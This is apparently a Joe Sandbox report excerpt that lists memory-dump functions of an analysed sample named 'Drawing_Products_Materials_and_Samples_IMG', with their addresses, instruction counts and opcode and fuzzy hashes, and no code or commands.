Opcode ID: 0faed66f8f3d6f1b83f94181b31ab7ba14b8c754c463830d99250f1cf496d75a
Instruction ID: 8d19b43d84f23cdc31cd5d2f11b17c9db3ca02dc5c1ac3c4f28afe84f42e3e2c
Opcode Fuzzy Hash: 0faed66f8f3d6f1b83f94181b31ab7ba14b8c754c463830d99250f1cf496d75a
Instruction Fuzzy Hash: E391A074E00218CFEB54DFA9C990BDDBBB2BB89300F648129D805BB358DB35A946CF55

Function 37413560 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f259a7b0a52ffbb371f46172c3925a35c9003df2ecf0d5343ea5adad5860b527
Instruction ID: 876717d38b4d5a7f8162d130e1d06b9210843316b5e5a6b2894272b5deb40433
Opcode Fuzzy Hash: f259a7b0a52ffbb371f46172c3925a35c9003df2ecf0d5343ea5adad5860b527
Instruction Fuzzy Hash: D7919074E00218CFEB54DFA9C990ADDBBB2BF89310F648129D805BB354EB35A946CF54

Function 37410360 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac824e18f5da6cad761ec79c46f6c6e91d6709c827b20b941db48360a71f4b9f
Instruction ID: 105b2cca7b1cac73f019c62ff08bd76de2809f2bd63f52ca888491dc691c0417
Opcode Fuzzy Hash: ac824e18f5da6cad761ec79c46f6c6e91d6709c827b20b941db48360a71f4b9f
Instruction Fuzzy Hash: 7791B274E00218CFEB54DFA9C990ADDBBB2BF89310F648129D805BB358DB35A946CF54

Function 37411300 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b923985bcd3877ae8a83c8528102fe81a10f604575daf5cfd2767ae52e7ec213
Instruction ID: c5a85af7c037ae0ba4c2ef5aa5462f3fc2933dd3a2e7c6f7505bed51bc70fffd
Opcode Fuzzy Hash: b923985bcd3877ae8a83c8528102fe81a10f604575daf5cfd2767ae52e7ec213
Instruction Fuzzy Hash: 8391A274E04218CFEB54DFA9C990ADDBBB2BF89300F608129D805BB358DB35A946CF54

Function 37414500 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82c78bd462d84bd74ceea3478529bfd2bb392a78cbaf27cd80b554d63f1a35ed
Instruction ID: 0c213eb63496402c8b54f5030a862b2425e240e6143d1802c7183ba14d87ff86
Opcode Fuzzy Hash: 82c78bd462d84bd74ceea3478529bfd2bb392a78cbaf27cd80b554d63f1a35ed
Instruction Fuzzy Hash: 5291B174E00218CFEB58DFA9D890ADDBBB2BF89300F648129D805BB358DB356946CF54

Function 37412F20 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c9547632a9b60a7476cf8ee9a10b74f63a54ede1d2a41b1ed36dc173445739c
Instruction ID: e0ac47c354574d8b736aa98d1f716f38783e9d81f1b2ded7b65d0876a3bafad0
Opcode Fuzzy Hash: 6c9547632a9b60a7476cf8ee9a10b74f63a54ede1d2a41b1ed36dc173445739c
Instruction Fuzzy Hash: 5991A374E00218CFEB54DFA9C990ADDBBB2BF89300F648129D805BB358EB356946DF54

Function 37416120 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b4486693e873e85cef4d7f13a428e72f5e5e998ebdfb319c32bb217b23bd9e
Instruction ID: c627ae4b8d486a90e8c2699c75f3eb7965aa8d7b050bb1061695e9306cfdf4da
Opcode Fuzzy Hash: 94b4486693e873e85cef4d7f13a428e72f5e5e998ebdfb319c32bb217b23bd9e
Instruction Fuzzy Hash: CF919074E042188FEB54DFA9C990BDDBBB2BF89300F608129D805BB358DB35A946CF55

Function 3736A968 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a850653a0c1984988a55a2b28f45443704fe88a3a65fcea3522312f983ea58
Instruction ID: 3600b07a2e08fffc91497e2ff2413282e8d5bf10788f27fb8fd5d5741e17d2ef
Opcode Fuzzy Hash: e5a850653a0c1984988a55a2b28f45443704fe88a3a65fcea3522312f983ea58
Instruction Fuzzy Hash: 2F61A3B5E012188FEB04DFAAC5887DDFBF2BF88355F14C169D408A7255E7389A85CB90

Function 373638A8 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44243ecc0b76536a7dec107f4338d0316391d9b5e2d728e9ce8724b72489a0f8
Instruction ID: 0900536ae3571a2d6265e5ab0ab8e895167335da3aaa81f39b0f98aba898e199
Opcode Fuzzy Hash: 44243ecc0b76536a7dec107f4338d0316391d9b5e2d728e9ce8724b72489a0f8
Instruction Fuzzy Hash: ED71B074E052289FEB64DF29D995BDDBBF2AF89300F1081E9D50CA7294DB305E819F41

Function 36A9003B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a05b21f0f28e85b9d47c8dca66e79de539f4ca32af103cc4f4371bce3c34b9bf
Instruction ID: 98b97b241d96904d3fa4543696f5b6e08f7f731a9d3d9fce26f4b5ba8bd0b8f7
Opcode Fuzzy Hash: a05b21f0f28e85b9d47c8dca66e79de539f4ca32af103cc4f4371bce3c34b9bf
Instruction Fuzzy Hash: F9619774E01219CFEB68DF66D940B9DBBB2BF88300F14C1A9D409B7655DB315A82EF50

Function 36A9CCF7 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54b9477378a0c2824763ffe27926fd222a42fef0417d7128b2b601037cef2814
Instruction ID: 0ad52e15df040d005d05d01e708868d5a8399199259df851c9e3d9a8176075fc
Opcode Fuzzy Hash: 54b9477378a0c2824763ffe27926fd222a42fef0417d7128b2b601037cef2814
Instruction Fuzzy Hash: 07410271E0160C8BEB14DFAAD9446DEBBF2AF8A300F20912AC819BB255DB345946CF54

Function 36A98797 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae7b9b09cbfaec95f72802b7ded28841e7372985b998be4116c174bee53e3d0
Instruction ID: 0b30ec357271c1b1cefc244e1cb6c349af748cc8db6a04d7505fe913059f1214
Opcode Fuzzy Hash: 2ae7b9b09cbfaec95f72802b7ded28841e7372985b998be4116c174bee53e3d0
Instruction Fuzzy Hash: 1241E2B1D012189BEB18CFAAD8883CEBBF2BF89314F24C52AD408AB294DB744545CF51

Function 37364EC7 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5ed221d3409322a263158370f9bc091c066cc15ea7fe70ec6599c12502eb4c
Instruction ID: ed822be30e66e8acf5d65c81aa28b2bde0af715d3be34bc0e910ebb1f9549244
Opcode Fuzzy Hash: 7e5ed221d3409322a263158370f9bc091c066cc15ea7fe70ec6599c12502eb4c
Instruction Fuzzy Hash: 9E41F674D016488BEB14DFAAD9446DEFBF2BF89304F20D12AC418BB259DB345A46CF50

Function 36A9C8A1 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dfc76df30ca802d6c2e0742fc6120890a7ce23d7bada7a19fc0702cf3f14972
Instruction ID: 9cda64848e9e2f1aef9adee8b6c4e2042c88f16a5b24269823f245cdb7af25cb
Opcode Fuzzy Hash: 4dfc76df30ca802d6c2e0742fc6120890a7ce23d7bada7a19fc0702cf3f14972
Instruction Fuzzy Hash: 5C41D571D0160C8BEB18DFAAC9546DEBBF2AF8A304F20D12AC819BB255DB345946CF44

Function 3736B6A0 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65b494df8986e249beb6be4bb6e59b7cacb4490e2e2d5109368ef4282d650e3f
Instruction ID: 272c478a4a6d5a6aa4ea5cb117bb3d0c58c3cb29c8d4bde99fd572adbe4016d7
Opcode Fuzzy Hash: 65b494df8986e249beb6be4bb6e59b7cacb4490e2e2d5109368ef4282d650e3f
Instruction Fuzzy Hash: C441FB70D052188BEB18CFAAD9546DEBBF2AF89304F20D029C418BB259DB354946DF54

Function 3736A959 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e34fb0b6b99665aa881c74f78a9797054f1cb955936a60ba8280164319b2f8be
Instruction ID: f318879d5ddf4f6dad51fb9d0c1c7a06e1d33a44f6ff340171d3287603ca7e87
Opcode Fuzzy Hash: e34fb0b6b99665aa881c74f78a9797054f1cb955936a60ba8280164319b2f8be
Instruction Fuzzy Hash: 3B41B6B5E056089FEB08CFAAD9847DEFBF2AF88314F14C16AD418A7259E7344946CF50

Function 36A9DE58 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b68b0f80d94d0e0856e0b9c70d6afcda3330d1916fae820c5bce7233c1c5a9
Instruction ID: 5eed90cf5e15843b69d23b740353e9235a20d40f6042ab5c15f3b9a40e1cb12f
Opcode Fuzzy Hash: 63b68b0f80d94d0e0856e0b9c70d6afcda3330d1916fae820c5bce7233c1c5a9
Instruction Fuzzy Hash: 1041E3B4D0160C8BEB18DFAAD9446DDBBF2BF89300F20C12AC818BB255DB344946CF54

Function 37362FF8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eb3839ff865e9fd75891c95f29b20e34c3f13e41f64fce60c79d93ff3a54123
Instruction ID: 0e4682b2b7ebbe0629baa6f1e3058b44a1e41a2a8902d7108f79e2ce85f414d5
Opcode Fuzzy Hash: 4eb3839ff865e9fd75891c95f29b20e34c3f13e41f64fce60c79d93ff3a54123
Instruction Fuzzy Hash: B941F5B0E01248CBEB14DFAAC9546DEFBF2AF89304F20D12AC418BB259DB345946CF55

Function 36A9F867 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d116417c40c002b3cdc81d6dd879ef1c670efbdd4b02a6ba2cd629467fead9f5
Instruction ID: 040fe05f039a4ae3c9f758fc4ddc6c08359eb774d8a959b215fabb2c36460eee
Opcode Fuzzy Hash: d116417c40c002b3cdc81d6dd879ef1c670efbdd4b02a6ba2cd629467fead9f5
Instruction Fuzzy Hash: D941D5B4D0164C8BEB18DFAAD9546DEFBF2AF89300F20D12AC818BB255DB345946CF54

Function 37364A71 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0cdeb53a1b12ab3426d754e229cd4583bd1e8d3e00f095b490409a1bc10ed06
Instruction ID: a20d90e4835469f478133b5294e0a3f1c6da92815167701c49b17e402523c372
Opcode Fuzzy Hash: b0cdeb53a1b12ab3426d754e229cd4583bd1e8d3e00f095b490409a1bc10ed06
Instruction Fuzzy Hash: A541D674D016088BEB14DFAAC9447DEBBF2BF89304F20D12AD418BB259DB345946CF54

Function 36A9E2B5 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8d4d1ce1743722ac611730e6f00f5516e701c7fe9bf1b7427958e605b4765e
Instruction ID: cd749db66fd2856e56ef156107ef2dfad7fb9a54c6591bc4e034f48c600912db
Opcode Fuzzy Hash: 1f8d4d1ce1743722ac611730e6f00f5516e701c7fe9bf1b7427958e605b4765e
Instruction Fuzzy Hash: 6D41B574D016188BEB14DFAAD9546DEBBF2BF89300F20D12AC818BB265DB345945CF54

Function 36A9E709 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5aca16e345daf2a1b25142716604cddb1e95c5eef7b9974b8158545fc83175f
Instruction ID: 529b8367075286b3764e1365024cf8032e2168c05a3067812b7704c7c8721fc1
Opcode Fuzzy Hash: e5aca16e345daf2a1b25142716604cddb1e95c5eef7b9974b8158545fc83175f
Instruction Fuzzy Hash: DA41D674E0124C8BEB18DFAAD9546DEBBF2BF89300F20D129C418BB255DB345946CF55

Function 36A9EB60 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0009af34db537ee2c60aaec6d178ac478cec943656b601c27f7870e0c9621f0f
Instruction ID: 3f11c049cebccc3575708c6c09ffd2f0df04413d0cc0ed1ae067e4821f07b1b2
Opcode Fuzzy Hash: 0009af34db537ee2c60aaec6d178ac478cec943656b601c27f7870e0c9621f0f
Instruction Fuzzy Hash: CD41F374E0524C8BEB18DFAAD9446DEBBF2BF89304F20C12AC818BB255DB354946CF50

Function 37367720 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f2bd8912903144f551949aeea60d54ba69ea3155eb6a783e5ae0742082ff784
Instruction ID: 544b99ee7c567169981acff83fd950b0bf101f8031e0e67a0c473884df693c4b
Opcode Fuzzy Hash: 1f2bd8912903144f551949aeea60d54ba69ea3155eb6a783e5ae0742082ff784
Instruction Fuzzy Hash: B841D5B4D012088BEB18CFAAD9547DEBBF2AF89304F60D12AC418BB259DB345946CF54

Function 37365BD1 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1bb2e39a7ec6dd3f0c340f782f9b97434b1ede1ee63489a29ebe8048b69a35
Instruction ID: c25b7b11b9c3f0a28e773b885c09ea1284c19b91f0ab9f804fcb8a6bd3520c21
Opcode Fuzzy Hash: 4a1bb2e39a7ec6dd3f0c340f782f9b97434b1ede1ee63489a29ebe8048b69a35
Instruction Fuzzy Hash: 1541C5B0D05208CBEB18DFAAD9447DEBBF2AF89304F20D12AC418BB259DB345946CF54

Function 37364618 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91f2b688183c6eaeeb8ca38947e267ed022764dfe9108785f229f03cdc25fbdd
Instruction ID: 9a248cada4264aa23ab2a2c61e3a1cf0a7484335795f17fa7c4805a4b8a07ca9
Opcode Fuzzy Hash: 91f2b688183c6eaeeb8ca38947e267ed022764dfe9108785f229f03cdc25fbdd
Instruction Fuzzy Hash: 3C4106B0D01248CBEB18DFAAD9546DEFBF2AF89304F20D12AC418BB258DB345945CF54

Function 37361A40 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bce52cb82766780388dcd2cc97152fb7d2a8fe9c4a9ed0fab88ecde9f13e927
Instruction ID: 55c59ac779988cf7307c86d438da1d4b7860b9b8ff090a51e4ad46460c174c24
Opcode Fuzzy Hash: 0bce52cb82766780388dcd2cc97152fb7d2a8fe9c4a9ed0fab88ecde9f13e927
Instruction Fuzzy Hash: CF41F6B4D01608CBEB14CFAAC9946DEBBF2AF89304F20D129C418BB259DB345946CF54

Function 37360033 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd93ab3e81126dd5361e8297cffd8f6824ef5e553ac7fa05a234dfcc09ad05a4
Instruction ID: 3e5f44a79e64d25e758ce2453ea4efad6733e023b140fdff91410d3c270291c1
Opcode Fuzzy Hash: dd93ab3e81126dd5361e8297cffd8f6824ef5e553ac7fa05a234dfcc09ad05a4
Instruction Fuzzy Hash: B541D6B4D01608CBEB18DFAAC9546DDBBF2AF89304F20D12AC418BB259DB355946CF51

Function 36A9F413 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8493a8651d5ae18699a33ff2812b887487f2313131ee538738c407f027eb9f
Instruction ID: ae632f2df618f4450b401b9ddd9de03ec023159ad79fc06f5674784c71c32f72
Opcode Fuzzy Hash: ca8493a8651d5ae18699a33ff2812b887487f2313131ee538738c407f027eb9f
Instruction Fuzzy Hash: 3541D374E01608CBEB18DFAAD9446DEBBF2AF89300F20D12AC818BB255DB345946CF54

Function 36A9D153 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6b0a837c92660e9d0c1de685b9101553dc43b39042af03e9a3d3b9c4058590a
Instruction ID: cb20c469ae87b0101aef1b57d26d262e2324535b32a5ce2578a69d2ee2b1ae38
Opcode Fuzzy Hash: a6b0a837c92660e9d0c1de685b9101553dc43b39042af03e9a3d3b9c4058590a
Instruction Fuzzy Hash: 1741D5B4E056088BEB14DFAAD9446DDBBF2AF89304F20D12AC818BB255DB345946CF54

Function 37366E71 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df05600a1f9d03ff2f204822eb26d3c7a99ab6a8314bc757c78e8e5f6f100888
Instruction ID: 0d5419dd8529fb8dbeba40a704f1b6b2c14a97b4aee256ddf7137f56cead5769
Opcode Fuzzy Hash: df05600a1f9d03ff2f204822eb26d3c7a99ab6a8314bc757c78e8e5f6f100888
Instruction Fuzzy Hash: E941E5B4D01248CBEB18CFAAC9547DDBBF2AF89304F20D12AD418AB259DB355946CF54

Function 37361190 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd38f4358d80994f2f94770aeb1af97d301595bf4135d5a48664fc17f4d4b899
Instruction ID: 5eca061af43621ae83faa7ca89ffe085797b2e4bc9f7cd773510db131995e4e5
Opcode Fuzzy Hash: dd38f4358d80994f2f94770aeb1af97d301595bf4135d5a48664fc17f4d4b899
Instruction Fuzzy Hash: CF41E7B4D01608CBEB14DFAAD9946DEFBF2AF89304F20D12AC418BB258DB345946CF54

Function 37416751 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79c705d25166d2a05f1fdfcb36525a701223994d75f81a188568a66da72b433
Instruction ID: 316c20f16b8752ea4834bbcf4003eb9ca6c8ef7c6fb812b528403da3ba0ef221
Opcode Fuzzy Hash: a79c705d25166d2a05f1fdfcb36525a701223994d75f81a188568a66da72b433
Instruction Fuzzy Hash: 6731D674E01218CBEB14DFAAD9546DEBBF2BF89300F24D02AC818BB255DB349942CF55

Function 37410350 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48b0fadc4e44dc4f643dc71c05672b2c83ca082a601487324cbecf9bb0d66d30
Instruction ID: 41bcc24b13d3052f661d9e2763e8bb2d04b2e911e3e199829d4072ded90589cb
Opcode Fuzzy Hash: 48b0fadc4e44dc4f643dc71c05672b2c83ca082a601487324cbecf9bb0d66d30
Instruction Fuzzy Hash: 3531D374E0124CCBEB18DFAAD9506DEBBF2BF89300F24D12AD818AB255DB345942CF55

Function 36A9DA01 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38d8b52e4a4f98e28bad28db63d8b07c785e9f41d8b1cdcc6b8277be65b06fec
Instruction ID: e082803a6e6b5dbeb4054768044bc181d014a07f1eabcb49b3dd31c9537c53ee
Opcode Fuzzy Hash: 38d8b52e4a4f98e28bad28db63d8b07c785e9f41d8b1cdcc6b8277be65b06fec
Instruction Fuzzy Hash: 5541D375E0560C8BEB18DFAAC9546DEFBF2AF89300F20D12AC818BB255DB354946CF50

Function 36A9EFB9 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82a407b6fe576da17a2f7fde442cacbed94831e41eba036d3fb1b14308bc11b
Instruction ID: 54f7a03ff8d939a9fc7afb1dcbfd89bda0f28fe1b5e351062d6357edf72c2df7
Opcode Fuzzy Hash: c82a407b6fe576da17a2f7fde442cacbed94831e41eba036d3fb1b14308bc11b
Instruction Fuzzy Hash: 3441D670D0164C8BEB18DFAAD9546DEFBF2AF89300F20D12AC818BB255DB354945CF51

Function 36A9D5AB Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

